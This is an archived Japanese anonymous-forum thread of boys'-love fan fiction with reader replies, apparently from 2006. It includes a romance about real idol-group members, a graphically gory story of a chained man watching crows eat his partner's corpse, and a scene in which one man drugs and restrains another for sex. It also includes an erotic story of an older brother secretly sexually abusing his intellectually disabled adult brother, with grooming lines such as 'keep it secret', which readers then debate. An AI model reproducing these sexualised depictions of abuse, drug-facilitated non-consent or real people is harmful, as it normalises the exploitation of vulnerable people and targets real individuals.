五人の中でも二人はセット。ツートップ。年長組。聞こえはよかったけど内心フクザツ。
色んな意味で。
悟郎はそんな二人をホントに似てないよね、と笑い、
真吾はホントに似てるよね、とからかった。
どちらにしてもいい顔をしない二人の仲裁をするのが、毅。
犯行が五人になったのは計算外だったし問題だった。けれど、今思えばこれでよかったのだ。
だって今まで、この五人だから、やってこれたのだから。 <> 3/3<>sage<>2006/10/10(火) 04:10:44 ID:8E6XIiRz0<> 「なぁ、もしも、ばれたら、どうする。」
つぶやくと、拓也は「はぁ?」と首を傾げた。いつものあの言い方で。
「お前なに毅みたいなこと言ってんの?」
それが彼の心配性をさしてのことだと分かり、苦笑する。
「まぁ、情状酌量されるでしょ。もうステージに立つのは無理かもしれないけど。」
こちらの反応を丸きり無視。
さっき言ったことなどなかったかのように続ける態度は相変わらず。
「でも今まで俺達馬鹿みたいに仕事したから馬鹿みたいに金はあるだろ。」
そこまでよそを向いていた木邑はふと、中井に顔を向ける。
「無人島でも買っちゃう?で、五人で隠居生活を楽しむ。」
「お前なに真吾みたいなこと言ってんの?」
先のことなど考えぬ楽観的で、ソコ抜けて明るい、ムードメーカー。
そういえば一人名前が出てこなかったな、と思い、二人揃って髪をかきあげた。
それを見て、互いに笑う。
「楽勝だよ、こんなの。」
だってこんなに大きな秘密を、こんなにも長い時間、
愛する仲間にも、あの目ざといマネージャーにも、
そして何百万のファンにだって覆い隠してきただろう?

触れるだけ、すぐに離れた軽いキス。

かすかに鼻に抜けたメンソールは、次もまたすぐに、という
願いとそして約束だった。 <> 風と木の名無しさん<>sage<>2006/10/10(火) 04:12:55 ID:8E6XIiRz0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ 勢いだけでやりました。元来地図の姐さんごめん。
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
この物語は創作です。この地図は架空の地図です。 <> 風と木の名無しさん<>sage<>2006/10/10(火) 04:29:15 ID:Pin20UIX0<> >>9-11
ひさしぶりに浸りに来たらGJ作品多数。
特に痺れた。
遅レスすまそ。 <> 風と木の名無しさん<>sage<>2006/10/10(火) 06:27:04 ID:UkO5rqJD0<> >>227-239

超GJ!!
もとネタ知らないのに大変に萌えました。
もうコテつけてくれればずっと追っかけたいほど。
感謝。 <> 風と木の名無しさん<>sage<>2006/10/10(火) 10:38:21 ID:fPidFypT0<> >249
元ネタ知らないけれど、萌えた。レベル高ェ。

そして>259、ちょうどドラマ見て萌えが再燃したところに、
すごいのキタコレ。ありがとう。 <> 風と木の名無しさん<>sage<>2006/10/10(火) 19:24:43 ID:l4g9h3kp0<> >>259-263
このグループの小説を読んだのは初めてだったのだが萌えた。
昨日の古火田も後でニラニラと見直すよ。 <> 風と木の名無しさん<>sage<>2006/10/10(火) 21:57:12 ID:vIAs+K9zO<> >259
アレ見て木中再燃してたから超嬉しかった。超神仕事。 <> 風と木の名無しさん<>sage<>2006/10/11(水) 01:53:34 ID:zjlNFV6l0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  幸福な木の友達で盲目紳士×大工
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  新作ネタで、盲目紳士あぼん後のお話
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ジャンルガジャンルナダケニ……
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |

※ねちっこい感じにグロ注意です。あと電波※ <> ラーラーラララー 盲目×大工1<>sage<>2006/10/11(水) 01:56:14 ID:zjlNFV6l0<>  やさしく俺の顔を触ってくるその手の温度が、好きだった。

「……っ、ハァ、ハァ…………」

 頬と体でしか感じられないけれど、その手の感触が好きだった。

ガチャン。ずるり。がちゃ、ぐちゅ。

 一度でいい、この人と手をつないで歩けたら――

 がちゃ、がちゃ、がちゃん

 ――どんなにしあわせだろうと、思ってたんだよ。


 八ンディはがくりとその場に膝をついた。
 既に筋組織まで露出した右足は痛みを通り越して何だか感覚がない。
むしろ、冷たい。壊死しかかっているのかも知れない。
「それも、悪くな―――」
最後の一音を紡いでしまう前に、八ンディは口を閉ざす。
 もし、自分の足が腐り落ちてしまったら、この忌々しい鎖も離れてくれるだろう。

 やっと、何の重しも無しに歩けるようになる――右足と、あのひとを引き換えに。
 その代償は、重すぎる。

 八ンディは、疲れと痛みとで混濁した意識の中でそっと眼を向けた。
 眼の前には、先ほど取り落とした重し。その鎖は右足の足枷を通り、後方
へと伸びている。

 そこには、モ一ルの亡骸がつながれている。
<> ラーラーラララー 盲目×大工2<>sage<>2006/10/11(水) 01:57:16 ID:zjlNFV6l0<>  亡骸、などと。そんな綺麗なものでは最早無かった。木材用の丸鋸でざっくり
割られた頭。鳥に突かれ虫に食われた脳みそが崩れたプリンのようにぐずぐずと、
モ一ルの頭蓋骨の中に取り残されていた。
 足枷を嵌められたその左足は、八ンディと思えばずっと綺麗だった。
あの時までは、二人で歩いていた。


 交代で、重石を抱えて歩いた。
 腕だけで重石を持つ八ンディはどうしても疲れやすく、杖で探り探り歩く
モ一ルよりも歩調が遅れる事があった。
 荒い呼吸と、乱れてしまう足音で悟られてしまうのか。気づくと、モ一ルは
いつも待っていてくれた。

 逃げなければならない、のに。それでもモ一ルは、待っていた。八ンディへと
向けられる閉ざされた眼差しは、確かに暖かな感触を伴って注がれていた。

 その眼差しを認めたとき、八ンディは今自分が置かれている極限状態を
忘れた。車泥棒。バカな警察。リンチに遭った苦痛。尖った岩だらけの崖を
転がり落ちた激痛。自分とモ一ルとを繋ぐ鎖への苛立ち。
 その全てを忘れ去って、笑う事が出来る。目の前にいる彼は見えなくとも、
雰囲気だけで八ンディの表情を悟る。八ンディが顔に出さずともどこか気分が
よくない時、または相手を盲人と思ってつい曇った表情をしてしまっても、
すぐに不安げに自分の頬を撫でて来る。その手つきもどこか覚束なく――
恋人の顔を探して彷徨う掌を、八ンディは笑って自分の頬へと引き寄せるのだ。 <> ラーラーラララー 盲目×大工3<>sage<>2006/10/11(水) 01:58:16 ID:zjlNFV6l0<>  そのモ一ルは、死んだ。丸鋸で頭を割り裂かれて痙攣する掌。自分の頬を
撫でてくれた掌。血に染まる川。あの時自分の頬に飛び散ったのは、骨の
かけらの混ざった肉片だ。

 それだけの犠牲を強いておきながら、鎖は切れてくれなかった。逃げるためには、
重石を抱えて進むしかなかった。八ンディの肘から先がない腕ではモ一ルを
抱えるだけの力は無く、枷の嵌められた足は鉄の重石を引くと痛みに軋んだ。
 モ一ルを引き摺り歩くのもまた、酷い苦痛に苛まれる行為だった。重石か
モ一ルかの二択しかない自分の半分の長さしかない腕を恨んだ。それ以前に、
手さえあれば、こんな鎖などさっさと切り離して、二人で逃げる事が出来ただろう。
……そう、二人で。手をつないで――――。



 八ンディは妄想を打ち切った。そのまま体の中の大事な何かが切れて
しまったように、その場に倒れ込んでしまう。
「……モ一ル」
生温い地面に頬を押し当て、呟く。 <> ラーラーラララー 盲目×大工4<>sage<>2006/10/11(水) 01:59:26 ID:zjlNFV6l0<>  今頃は、旅先のホテルにいたはずだ。
 はしゃぎながら旅行の計画を立てた。車に荷物も詰め込んだ。旅立つ前から
何だかみすぼらしくなってしまったガイドブックは座席の下だ。二人で旅行
なんて初めての事で、八ンディなりに葛藤やら何やらがあったけれど、そんな
ものはもう忘れてしまった。ただただ楽しみだった。八ンディキャップだらけの
自分たちでも、旅行ぐらいは楽しめる。いや楽しんで見せる。楽しめるだろう。二人でなら。

 あの忌々しい車泥棒に何もかも、全部持っていかれてしまった。

「モ一ル」

 ア゛ァ――と、鴉が鳴いた。
 八ンディはもう一度妄想と回想をと打ち切った。だるい身体を何とか転がして、
鳴き声のした方を振り返った。

「…………、あ――――」

モ一ル。いやモ一ルだった何か。モ一ルの地肌の色より赤黒く凝り固まった
血液の方が目立つ、肉塊。

 鴉が舞っていた。
 鴉が、降りてくる。
 つつかれる。脳みそを無粋な嘴にかき回されて、肉塊は思い出したように
左足を蹴り上げた。

 じゃらん
<> ラーラーラララー 盲目×大工5<>sage<>2006/10/11(水) 02:00:27 ID:zjlNFV6l0<> 鎖が、くすんだ陽光を照らして鈍く光った。
 その金属音に何羽かの鴉が怯む。しかし、すぐに魔除けの音は掻き消えて、
鴉が再び集って来る。
 モ一ルに。モ一ルだったものに。
 八ンディは、うつろに眺めていた。
 
 つつき潰されていく脳みそ、全身の傷口を黒い刃が蹂躙する。固まった血が
どろりと流れて地面に伝う前に止まってしまう。サングラスが鴉の嘴に
押し退けられて、露出した眼球が曝け出される。死ぬ前から何も映さなかった
モ一ルの眼は、鴉についばまれて視神経をずるりと引き出した。

「あ、ああああああ。あ――」

やめろ。

やめてくれ。

お願いだから。

「っ、めろ。やめろおおぉぉぉぁぁあああああ!!!!!」
言葉は意味を成さない絶叫に変わる。

 鴉を追い払わなければならなかった。
 先程から気がつかない振りをしていたけど、蝿がたかってきていた。
 モ一ルが、愛しいモ一ルの身体がぐちゃぐちゃと形を留めなくなって行く。

 けれど八ンディは動けない。
 壊死しかけの右足。疲れに固まった左足。肘から先のない両腕。ぼやけた思考。 <> ラーラーラララー 盲目×大工6<>sage<>2006/10/11(水) 02:01:34 ID:zjlNFV6l0<>  八ンディの絶叫にも、鴉は涼しい顔のままで再び「あ゛あ」と鳴いた。

「モ一ル! もーるゥ……何でだよ、何で。なんで――――」

叫びはついに嗚咽に変わる。地面に額を擦りつけ、何かに許しを請うような姿で
八ンディは泣いた。
 モ一ルの耳が、千切られて持っていかれてしまった。


 自分なぞ、涙も何もかも流れつくして干からびて死ねば良い。
 そうしたら、きっと向こうでモ一ルに会える。


 もういいから、もう悪あがきはしないから。
 俺が悪かった。生きようなんて思ったのが間違いだった。あの人を引き摺って
生き延びてしまった分だけ、ほら、余計に苦しむ羽目になった。

 ――なあ、早く終わらせてくれ。




 八ンディとモ一ルだったものと鴉しかいない広い広い大地には、もう血の匂いすらしない。  <> 風と木の名無しさん<>sage<>2006/10/11(水) 02:03:12 ID:zjlNFV6l0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ 尻切れな上に華麗に配分ミス
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |

書き出してから間が空いた上に、流れを確認できる長さじゃないので
変なとこあっても置いといて……orz <> 風と木の名無しさん<>sage<>2006/10/11(水) 17:14:23 ID:gF1tx1kL0<>
                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     | デジモソセイバーズのdマ×大だよ。
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  この前やった記憶消去ネタだからネタバレ注意!
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ウエキジャナイゾ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
<> デジモソセイバーズ dマ×大 1/2<>sage<>2006/10/11(水) 17:21:36 ID:gF1tx1kL0<> 「いー天気だなー」
いつものように学校行って、いつものように授業受けて・・・
「・・・・」

「トーマ様、お茶をお入れしますか?」
「ああ、すまない」
いつものように本を読んで、いつものように紅茶を入れてもらって・・
「・・・・」

あ れ ?

「「――――っ!」」 <> デジモソセイバーズ dマ×大 2/2<>sage<>2006/10/11(水) 17:22:49 ID:gF1tx1kL0<> 「大門、どうした?」
「あっ、いや・・」
「・・?」

『る・・まさ・・る・・』

誰かが、俺を呼んでいる

ガタン
「っ・・ なんだっ・・?」

『ト・・・ま・・トー・・マ』

誰かが、僕を呼んでいる

でも

「僕を呼んでいるのは・・・」
「俺を呼んでんのは・・・」

「「誰なんだ・・・?」」

愛しかったはずの君が

俺から

僕から



消 え て い く <> デジモソセイバーズ dマ×大 2/2<>sage<>2006/10/11(水) 17:25:00 ID:gF1tx1kL0<>
 ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ セイバーズが自分の中じゃ
 | |                | |     ピッ   (・∀・ )やばいくらい大ブームだお
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |


<> 280<>sage<>2006/10/11(水) 17:25:49 ID:gF1tx1kL0<> 名前欄消し忘れた・・orz <> 風と木の名無しさん<>sage<>2006/10/11(水) 22:03:05 ID:myGqmemW0<> >269
大工切ないよ大工
しかも土竜好きなので切なさ倍率ドンだったよ…いいものをありがd <> 風と木の名無しさん<>sage<>2006/10/11(水) 22:25:50 ID:pcBBfJFu0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  地図年長組
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|   >>259の続きっていうか裏っていうか対?
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
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 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
<> 1/3<>sage<>2006/10/11(水) 22:26:34 ID:pcBBfJFu0<>
番組の収録が予定より早く終わりました。
遅くなると思ってたんで家族は揃って外食です。
帰って一人でぽつんとメシかよと思っていたら
時間が余って無駄にハイの馬鹿が「メシ作って」と首根っこ掴んできました。
お前自分で作れよむしろ食わせろとギャーギャー言いながら結局なだれこみ、
テレビをつけると懐かしの刑事ドラマをやってました。
まあなんて素敵な偶然。

「うっわ、ありえねー。」
けらけら笑いながら缶ビールを開けた中井を木邑は睨む。
「…ニュース見たいんだけど。」
「またまたぁ。」
しかもここ俺の家だから。文句は言いっこなしー。おどけてみせる様子は当時から変わらない。
ったく、誰が連れてきたんだか。
つーか何が悲しくて人の家来てまで自分で料理して自分で食って
ウン年前の自分ら見なきゃいけないんすかね。これなんて羞恥プレイ?
「あの頃俺ら若かったよなー。」
「お前そういう発言がジジくさいよ。」
「あの頃お前まだ髪長かったしなー。」
今も大して変わんないだろ。口をつぐんだ木邑は無言でサラダをつつく。
「あの頃お前まだ――…」 <> 2/3<>sage<>2006/10/11(水) 22:27:22 ID:pcBBfJFu0<> 止まった言葉が気について、そちらを見る。
「あ?」
首を傾げて、その視線が左手のビールに注がれているのだと気づいた。
「ったく、出せよ、グラス。」
ついで欲しいのだろうとそう呼んで、「へ?」と返る間抜けな反応でようやく理解る。
間抜けなのは、俺だ。
悪い悪いとやっぱりちゃらけた様子で差し出されたグラスに缶を傾ける。
視界にはいる薬指。
やつが見ていたのはビールじゃなくて、これだ。
「懐かしいな。」
「なに突然。」
気色悪っ、と呟く顔をゆるく睨んで木邑はテレビに目を向ける。
「やっぱ面白いわ降旗。」
「お前モノマネやってたべ?」
「あーやったやった。」
言いながら二本目を開ける。
「なんかさー当時こんなキャラだったのな、俺ら。」
「まんまだよまんま。ごろーとか。」
「三谷さん凝ってるよなー。俺らより詳しいよ。覚えてないもんこんなに。」
忙しすぎてろくに覚えていない当時の仕事。
ツアーだって今どこにいるのかわかんないで歌ってたこともザラにある。
「確かに。」
答えて、グラスを口に運んで、ごくりと喉を鳴らして、一秒。

「でもさ、いまだに知らないこともある。」
<> 3/3<>sage<>2006/10/11(水) 22:28:50 ID:pcBBfJFu0<> かたんとグラスをおいてからが勝負。左手をついて、身を反転させ、流れるように、
一体なにを言い出すのかとクエスチョンマークを浮かべこちらを見た顔をつかまえる。
触れるだけの、キス。
離してしばらく一時停止していた中井は片手を挙げ、こちらをなだめる様に、
伸ばし伸ばしの声を出した。
「………あの、もしもーし、木邑さん?」
「愛してる。今だって。」
真顔でそう言った割に、中井はつれないようだった。
「それさ、お前が俺に言ってんの?“木邑拓也”が“中井正弘”に言ってんの?」
顔はこっちで、指はテレビ。食えない刑事を真ん中に7年前の二人。
画面の中で自分は仏頂面でリップクリームを塗りたくっている。
「お前がそうだと思う方。」
さらっと言ってにやりと笑えば疲れ果てた顔でため息をつく。
「…あのさーそれめちゃくちゃズルくね?」
「なに?今頃気づいたの?」
「…知ってるよ。あの頃から。」
伸ばされた腕に一度ストップをかけ、木邑は振り返りリモコンを取った。
だってこのままじゃ、自分がぼろを出してしまう。
番組は佳境。家族もそろそろ帰りつく頃。

撮影?全然長引いてます。
<> 風と木の名無しさん<>sage<>2006/10/11(水) 22:30:12 ID:pcBBfJFu0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ 木中もいいが木邑誘い受も捨てがたい。
 | |                | |     ピッ   (・∀・ ) 好きなほうでどぞ。
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   | <> 風と木の名無しさん<>sage<>2006/10/11(水) 22:32:12 ID:XW7zFI3f0<> おお、リアルタイムで遭遇!
乙でした <> 風と木の名無しさん<>sage<>2006/10/11(水) 22:41:06 ID:BKNvau/+0<> とりあえず用意したテンプレ。

                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  南瓜鋏の若獅子×伍長
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  キャラが掴めずエロ前で断念
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ツギハゼッタイエロカクゾ!!
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
<> 南瓜1/2<>sage<>2006/10/11(水) 22:42:02 ID:BKNvau/+0<> 「レオ/ニール殿……これは、一体……」

陽の届かない、暗くじめじめとした部屋。冷たい石材が
剥き出しになった室内の最奥部に膝をつき、
ラン/デル・オーラ/ンドは戸惑いがちに声を震わせた。
「彼女」の仕事について知りたいんです、そう微笑を浮かべた「彼」に
屋敷へと招かれ、多分な気後れを感じながら門を潜ったのが昼前。
見たこともないような豪勢な食事を萎縮しきった胃におしこみ、
戦災復興部隊の任務について語ったのは一時過ぎ頃だっただろうか、
友好の証にと勧められたアルコールを口に含んだ瞬間覚えのない
甘ったるさが口腔を満たし、熱が咽喉を通って全身に広がっていくのを
知覚する前に膝を折った。そして、気が付けばこの部屋に横たわっていた。
一糸纏わぬ姿で、両手首に拘束具を装着された状態で。
「驚かせてしまってすみません、腕は……痛くないですか?」
一目見て良い品だとわかる仕立てのスーツを身に纏ったレオ/ニールは
さも心配そうにそう訊ねると革のベルトによって纏め上げられた腕に触れ、
柔らかい笑みを浮かべた。つい先刻、愛馬について語っていた時と
何ら変わりのない表情はじわりと広がるような不安を与える。 <> 南瓜2/2<>sage<>2006/10/11(水) 22:42:36 ID:BKNvau/+0<> 隙間なく巻かれた拘束具からは頑丈な鎖が伸びており、
その先端はごつごつとした石壁へと繋がっている。
中途半端に膝立ちになった体勢で、オーラ/ンドはぎしりと鎖を軋ませた。
「どうしてこんな…俺、なにか……」
下げた眉を寄せ、逃げるように視線を逸らす。その瞬間、
熱い呼気がするりと喉を滑り、彼は伏せた瞳を見開いた。
吐く息が、皮膚という皮膚が、奇妙な熱気をたたえている。
痒みとも痛みともつかない微細な、しかし無視できない違和が
全身を苛む感覚にオーラ/ンドは身を震わせた。
「――効いてきたみたいですね。大丈夫、すぐによくなりますから」
やり過ごせない熱を吐き出そうと粗い息をつく彼に
レオ/ニールが手を伸ばす。しなやかな指先で鋭角的な頬の線に触れ、
怯えた瞳を覗き込む。輪郭から首筋、鎖骨へと移行する指先の
動きは軽やかで、どこか愉しんでいるような印象さえあった。
「オーラ/ンド伍長、私は元来、とても負けず嫌いな性分なのです」
切り傷、刺し傷、縫い跡に火傷による引き攣れ、傷という傷に覆われた
膚の上を、清潔な手袋に覆われた指が走って行く。その度に件の熱が
膨れ上がり、呼気をいっそう湿らせる。
「姫君に近付く雄を叩き潰し、誰よりも近しい場所で手を取りたい。だから……」
やがて、一通り傷痕を味わった指先が小さな突起へと触れると
オーラ/ンドは弾かれたように身を捩り、反射的に唇を噛み締めた。


「貴方を、駆逐しなくてはいけない」
背筋に走ったそれは痒みでも痛みでもなく、快感だった。

<> 風と木の名無しさん<>sage<>2006/10/11(水) 22:43:57 ID:BKNvau/+0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ モノローグで終わっちゃってごめん
 | |                | |     ピッ   (・∀・ )いつかリベンジしたい
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
<> 風と木の名無しさん<>sage<>2006/10/11(水) 23:27:29 ID:zjlNFV6l0<> >>290
GJであります!!
時に姐さん、もしやあのコラを見たのでは……!? <> 風と木の名無しさん<>sage<>2006/10/11(水) 23:50:46 ID:ZMbjWFf40<> >>290
GJ!丁度アニメみて伍長に萌え萌えしてたんだ…! <> 火曜新ドラの兄×弟<>sage<>2006/10/12(木) 01:24:19 ID:mRFPRhmm0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  火曜新ドラの兄×弟のつもり
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  兄・弟はそれぞれ名前で読み替えてね
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ 単なるエロなので注意
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 火曜新ドラの兄×弟 1/2<>sage<>2006/10/12(木) 01:25:32 ID:mRFPRhmm0<>  数年前、二世帯住宅に立て替えた新居には、書斎が設けられた。
 凡百のサラリーマンには得難い小さな男の城を、早々に手に入れた兄。彼が座しているデスクの引き出しは、いつも鍵がかけられていた。

 日曜の昼下がりにその城から小さな吐息が洩れてくる。
 少し掠れたような、押し殺された声がドアの隙間を縫って外へ出て行くが、それを聞きとる者はいない。妻は息子の付き添いで学習塾に出かけたし、他の家族も居ない。

 兄はいつものように、弟を書斎に招いた。自転車の新しい記事があるからと、屈託ない笑みでやってくる弟を招き入れる。
 椅子に座り、膝に弟を座らせ、雑誌の記事のページを開いてやる。嬉しそうな様子が背中越しからも分かり、その可愛げな弟の頭を撫でた。
 「さあ」
 記事を存分に見尽くしたであろう頃の兄の一言が、弟の肩をぴくりと揺らす。おずおずと振り返ろうとする弟を兄はゆっくりと立たせ、向かい合うようデスクの縁に軽くもたれ掛けさせた。
 部屋に入ってきた時は、小さなガラス片をいくつも瞬かせているかのようだった瞳だが、今は少し影を帯びている。
 「大丈夫大丈夫」
 俯く弟を抱きしめ、背中を優しく叩いた。
 「いつものように、できるな?」
 こくりと弟は頷き、鮮やかなイエローの着衣を胸の上までたくし上げた。 <> 火曜新ドラの兄×弟 2/2<>sage<>2006/10/12(木) 01:27:56 ID:mRFPRhmm0<>  弟の身体は、世間の31歳のそれよりか細く、汚れも少なかった。
 脳こそ先天的に障害を抱えて生まれたが、大きな怪我や病気もなかったし、
学生時代は運動部で精を出したわけでもない。日焼けらしい日焼けも経験はなかった。
 何者にも痛めつけられていない滑らかな肌が晒されると、兄は座ったまま、
弟のスウェットに手をかけた。ズボンの紐をゆるめ、下げる。白いブリーフがあらわれる。
 兄はやたらと大きなそれを脱がすこともせず、ブリーフの上から弟の性器を舐め上げた。
 「っ・・・」
 若干腰をひきかけた弟だったが、長い間じっと、兄が止めるまで、
上着をたくし上げたまま、上からその様子を見つめていた。

 即座に分かるほど膨らんだブリーフはすでに兄の唾液で濡れ、生地が薄ければ、
うっすらとその奥の色を透かしていたかもしれない。弟はやりようの無い感覚に
襲われているようで、明らかに表情には不安が露わになっていた。
 「ごめんごめん、お腹冷えちゃうな」
 弟の腹をさすりながら兄はブリーフをずり下ろす。中心のそれが弾力感をもって
飛び出した。ブリーフが膝までずり下ろされると、弟は兄の膝の上に、向かい合わせで跨るように促された。
 弟が跨ると兄は脚を肩幅ほどに開き、先まで露になった弟のそれを軽く握り込む。
未だ律儀にたくし上げられている身体は揺らぎ、薄い腹筋が波を打った。
さすがにこれには耐え切れなくなったのか、弟は目を閉じ、吐いた息は小さな声となっていた。
 「みんなには内緒だぞ」
 耳元でささやく兄に、弟は黙ったまま頷いた。ややあって左の乳首がでろりと舐められ、うっすらと見える筋肉の切れ目を舌先が這う。
 兄は鍵の掛かっていた引き出しを開けると、そこに入っていた指サックを器用に装着する。
「今日は、指だけな」
 唾液で濡れそぼらせた天然ゴム越しのそれは、後ろの皺を丹念になぞり、
程なくして奥へと押し込められた。
 「あっ・・・」
 二度三度扱くだけで弟の身体は痙攣し、前を覆っていた兄の手の中に。
粘り気を帯びた体液が放出される。

 引き出しのウェットティッシュで身体を拭いてやりながら、兄が弟の耳元に近づく。
 「またやろうな」
 弟は、黙ったまま頷いた。 <> 火曜新ドラの兄×弟<>sage<>2006/10/12(木) 01:29:15 ID:mRFPRhmm0<>  ____________
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 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/10/12(木) 11:49:36 ID:xPxJsfAKO<> 禿萌えた…!
姐さんありがとう (*´Д`) <> 風と木の名無しさん<>sage<>2006/10/12(木) 11:54:26 ID:9VzfyxFV0<> >>295
お兄ちゃんの出番が少なくて次回以降に期待していたとこに、こんな凄い萌えが!
姐さんGJ! <> 風と木の名無しさん<>sage<>2006/10/12(木) 12:08:27 ID:sNm58EciO<> うおおぉ禿げた!
姐さん超GJ!
また書いて栗。 <> 風と木の名無しさん<>sage<>2006/10/12(木) 12:19:48 ID:3b030dR70<> >>295はもっと注意書きが必要だと思うんだけど。
読み手を選ぶっつーか、不快になる人間も多いだろうし。 <> 風と木の名無しさん<>sage<>2006/10/12(木) 14:28:07 ID:LvN0iQ9G0<> >>302
いや、エロなので注意って書いてあるだろ <> 風と木の名無しさん<>sage<>2006/10/12(木) 14:50:04 ID:ZBT29qiQ0<> 障害者(特に心関係の)にわいせつ行為を強いることが只のエロで済まされるのならな。 <> 風と木の名無しさん<>sage<>2006/10/12(木) 14:59:57 ID:3b030dR70<> >>303
>エロなので注意って書いてあるだろ
そういう問題じゃないんだよ
は/く/ち萌えってのは人を選ぶって言ってんの <> 風と木の名無しさん<>sage<>2006/10/12(木) 15:06:50 ID:FkqfBYNoO<> 強制ととるかそうでないかは読み手の判断だし
いきすぎると逆差別だとオモ <> 風と木の名無しさん<>sage<>2006/10/12(木) 15:12:31 ID:QyawR437O<> 逆差別って…

